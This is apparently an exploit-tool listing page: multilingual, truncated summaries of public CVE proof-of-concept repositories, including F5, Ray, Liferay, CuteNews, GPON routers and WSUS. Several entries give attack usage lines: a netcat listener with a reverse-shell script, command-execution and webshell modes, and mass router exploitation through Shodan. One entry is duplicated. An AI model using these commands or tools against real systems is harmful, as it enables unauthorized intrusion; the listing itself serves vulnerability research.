CVE-2022-24637

CVE-2022-24637 Open Web Analytics 버전 / newPassword YourIp YourPort 셸을 얻기 위해 몇 번 실행해야 할 수도 있습니다. 이 스크립트는 개선될 수 있습니다...

CVE-2026-40176

CVE-2026-40176 — Composer Perforce 驱动命令注入（概念验证） 一个自包含、OOP 风格的 PHP 概念验证，用于演示并差异验证 Composer 的 Perforce 仓库驱动中的命令注入漏洞。 该 PoC 在两个 Composer 二进制文件上运行相同的恶意 composer.json——一个受影响 版本（2.9.5）和一个已修复 版本（2.9.6）——并通过观察副作用（由注入的 shell 命令写入的标记文件）来证明该 bug，该副作用在受影响版本上触发，而在已修复版本上不会触发。 ⚠️ 仅供授权安全研究与防御性测试使用。 参见负责任使用。 目录 摘要...

cve-2023-33476

CVE-2023-33476 ReadyMedia MiniDLNA 버전 1.1.15부터 1.3.2까지는 버퍼 오버플로우에 취약합니다. 이 취약점은 청크 전송 인코딩을 사용하는 HTTP 요청을 처리할 때 잘못된 검증 로직으로 인해 발생합니다. 이로 인해 이후 코드에서 할당된 버퍼 길이를 초과하는 공격자 제어 청크 값을 사용하게 되어 범위를 벗어난 읽기/쓰기가 발생합니다. 원인 분석 익스플로잇 세부 정보 NIST CVE 항목 익스플로잇 x86-64 대상용 tcache poisoning + GOT overwrite 익스플로잇을 통한 R...

CVE-2023-28354

CVE-2023-28354 脆弱性の説明 Opsview Monitor Agent 6.8 に、認証されていないリモート攻撃者が任意のコマンドを実行できる脆弱性が確認されました。認証されていない攻撃者は、Windows 上でデフォルトの Opsview Agent Monitor スクリプトを呼び出す際にコマンドラインエスケープシーケンスを指定することでこの脆弱性を悪用し、任意のシステムコマンドを実行できます。 説明 Windows 上の Opsview Agent サービスは、デフォルトで Local System として実行されます。このデフォルト構成には複数の NRPE...

CVE-2021-46422

CVE-2021-46422 インストール root@kitploit: 下载py,使用cmd打开 使用方法 poc root@kitploit: python3 CVE-2021-46422.py -u url exp root@kitploit: python3 tpexp.py -u http://www.xxx.com -c id 免責事項🧐 本ツールは正当な許可を得た企業のセキュリティ構築行為のみを対象としています。本ツールの可用性をテストする必要がある場合は、ご自身でテスト環境を構築してください。...

CVE-2020-7961-payloads

CVE-2020-7961-ペイロード Liferay Portal 7.2.1 CE GA2 より前のバージョンにおける信頼されないデータのデシリアライゼーションにより、リモート攻撃者が JSON Web サービス JSONWS を介して任意のコードを実行できる可能性があります。 Step 1 ペイロードを LifExp.java に記述します。 Step 2 javac でコンパイルします。 Step 3 ログサーバーを立てます 「Burp Collaborator Client」を使用するとよいかもしれません。 Step 4 poc.py を実行します。 ....お楽しみください ...

Pingpon-Exploit

PINGPON 익스플로잇 저자: @037 Pingpon은 Shodan.io를 사용하여 취약한 GPON 가정용 라우터 수천 대를 확보한 후, 원격 코드 실행 취약점CVE-2018-10562을 이용하여 모든 Linux 명령어를 실행하는 도구입니다. 면책 조항 저는 이 도구를 사용하여 발생한 모든 손해나 저지른 범죄에 대해 책임지지 않습니다. 원본 스크립트: github.com/f3d0x0/GPON 사전 요구 사항 Python 3.x를 설치해야 합니다. root@kitploit: apt-get install python3 또한...

GoTEE

はじめに GoTEEフレームワークは、TamaGoベースのユニカーネルの並行インスタンス化を特権モードと非特権モードで実装し、モニターモードとカスタムシステムコールを介して相互にやり取りします。 これらの機能によりGoTEEは、TamaGoベースのTrusted Execution Environments（TEE）を実装し、ARM TrustZone Secure WorldまたはRISC-V Supervisor Execution Environments内のベアメタル実行にGoのメモリ安全性、利便性、および機能をもたらします。 GoTEEは、GoTEE...

CVE-2022-1388-EXP

CVE-2022-1388-EXP これはCVE-2022-1388-EXPです 著者:Caps@BUGFOR Github:https://github.com/bytecaps 改作者:LinJacck Github:https://github.com/LinJacck 機能紹介 検証モード：python CVE20221388.py -v -u targeturl 攻撃モード：python CVE20221388.py -a -u targeturl -c command 一括検出：python CVE20221388.py -s -f file WebShellモード：pyth...

Foxit-Reader-RCE-with-virualalloc-and-shellcode-for-CVE-2018-9948-and-CVE-2018-9958

カスタムエクスプロイト : Foxit Reader バージョン 9.0.1.1049 ヒープ上でASLRおよびDEPバイパスを伴うUse After Free マイカスタムエクスプロイト : Foxit-Reader-RCE-with-virualalloc-and-shellcode-for-CVE-2018-9948-and-CVE-2018-9958 Win 7用カスタムエクスプロイト シェルコード用のスペースを確保 カスタムROPチェーンがヒープ内にシェルコード用のスペースを確保 Win 7用...

CVE-2024-24926

CVE-2024-24926 CVE-2024-24926 の脆弱性は WordPress の Brooklyn テーマに影響します 説明: CVE-2024-24926 の脆弱性は WordPress の Brooklyn テーマ バージョン 4.9.7.6 まで に影響し、信頼できないデータのデシリアライゼーション CWE-502 に関連しています。これにより、攻撃者が悪意のあるオブジェクトをサーバーに送信し、リモートコード実行につながる可能性があります。CVSS v3.1 の評価では、スコアは 7.5 高...

beyondtrust-rce-scanner

CVE-2026-1731 — BeyondTrust Remote Support & PRA 事前認証RCE 概要 BeyondTrust Remote Support および Privileged Remote Access における重大な事前認証RCE。認証されていないリモート攻撃者が OS コマンドを実行できます。...

CVE-2023-6019

Ray OS コマンドインジェクション RCE（認証不要） 使用方法: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

CVE-2019-18426

WhatsApp 취약점 공개 - 오픈 리다이렉트 + CSP 우회 + 지속형 XSS + FS 읽기 권한 + RCE 가능성 CVE-2019-18426 기술 문서 원본 취약점 공개 문서 데모 동영상!...

CVE-2019-11447

CVE-2019-11447 - PoC 아바타 이미지 업로드 시 사용되는 취약한 파일 업로드 검사를 통해 CuteNews 2.1.2를 익스플로잇하여 RCE로 이어집니다. 설치 리포지토리를 클론하고 요구 사항을 설치합니다. pip install -r requirements.txt 사용법 아바타를 업로드하려면 CuteNews 사용자 계정이 필요하며, 관리자 계정일 필요는 없습니다. CVE-2019-11447.py URL USERNAME PASSWORD 예시: CVE-2019-11447.py...

hackcar-writeup

Hackcar - Writeup 平台： DockerLabs 难度： 中等（差不多吧，还是有点门道的） 目标： 从 webuser 到 root，攻破一个 Next.js 起步：信息收集 一如既往，先看看面前有什么。 root@kitploit: nmap -sC -sV -T4 172.17.0.2 root@kitploit: PORT STATE SERVICE VERSION 8080/tcp open http Node.js Express middleware 9229/tcp open http ???? 等等……9229...

CVE-2026-89268 QloApps through 1.7.0 Reflected XSS via List Filter Parameters

QloApps through 1.7.0 renders back-office list filter POST parameters into HTML input value attributes without escaping them in the list helper template. Attackers can induce authenticated users to submit crafted POST requests with malicious payloads to list controllers, executing arbitrary...

CVE-2026-89268 QloApps through 1.7.0 Reflected XSS via List Filter Parameters

QloApps through 1.7.0 renders back-office list filter POST parameters into HTML input value attributes without escaping them in the list helper template. Attackers can induce authenticated users to submit crafted POST requests with malicious payloads to list controllers, executing arbitrary...

CyberSecurity-Pentest-Lab

Distcc 3.2.1 — リモートコード実行 CVE-2004-2687 ペネトレーションテストラボ: 分離されたラボ環境 攻撃側は Kali Linux で Metasploitable 2 に対して実施した、Distcc 3.2.1 における認証不要の RCE 脆弱性の特定、悪用、および修復。 学術/教育目的の演習。すべての IP はラボのプライベートアドレス RFC1918。 概要 | ---|--- 対象| Metasploitable 2 Linux ラボ IP| 192.168.91.129 サービス| Distcc 3.2.1 ポート| 3632/TCP CVE|...

CVE-2025-59287-WSUS-2

CVE-2025-59287 ⚠ このツールは教育目的のみで作成されています。管理された環境外での不正使用は固く禁止されています。 CVE-2025-59287 は、Microsoft Windows Server Update Services WSUS における重大なリモートコード実行の脆弱性です。これは WSUS コンポーネント内のデータの安全でない逆シリアル化に起因し、リモートの認証されていない攻撃者が、細工された .NET オブジェクトをサービスに逆シリアル化させ、SYSTEM アカウントで任意のコードを実行できるようにします。この脆弱性は、WSUS の Web...